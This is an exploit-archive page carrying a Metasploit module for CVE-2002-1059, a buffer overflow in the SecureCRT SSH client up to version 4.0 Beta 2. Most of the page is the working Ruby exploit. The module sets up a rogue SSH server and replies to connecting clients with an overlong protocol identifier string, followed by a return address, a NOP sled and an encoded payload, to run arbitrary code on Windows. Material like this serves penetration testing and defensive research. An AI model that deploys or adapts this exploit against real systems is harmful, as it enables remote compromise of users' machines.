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SecureCRT <= 4.0 Beta 2 SSH1 Buffer Overflow

SecureCRT <= 4.0 Beta 2 SSH1 Buffer Overflow
Posted Nov 26, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a buffer overflow in SecureCRT <= 4.0 Beta 2. By sending a vulnerable client an overly long SSH1 protocol identifier string, it is possible to execute arbitrary code. This Metasploit module has only been tested on SecureCRT 3.4.4.

tags | exploit, overflow, arbitrary, protocol
advisories | CVE-2002-1059
MD5 | 75a7ffeea7fe910cfa88ec1979cbec61

SecureCRT <= 4.0 Beta 2 SSH1 Buffer Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##



class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::TcpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'SecureCRT <= 4.0 Beta 2 SSH1 Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in SecureCRT <= 4.0
Beta 2. By sending a vulnerable client an overly long
SSH1 protocol identifier string, it is possible to execute
arbitrary code.

This module has only been tested on SecureCRT 3.4.4.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2002-1059' ],
[ 'OSVDB', '4991' ],
[ 'BID', '5287' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00",
'MaxNops' => 0,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'SecureCRT.exe (3.4.4)', { 'Ret' => 0x0041b3e0 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Jul 23 2002',
'DefaultTarget' => 0))

register_options(
[
OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
], self.class)
end

def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)

buffer = "SSH-1.1-OpenSSH_3.6.1p2\r\n" + rand_text_english(243)
buffer << [target.ret].pack('V') + make_nops(20) + payload.encoded

print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")

client.put(buffer)
handler

service.close_client(client)
end

end

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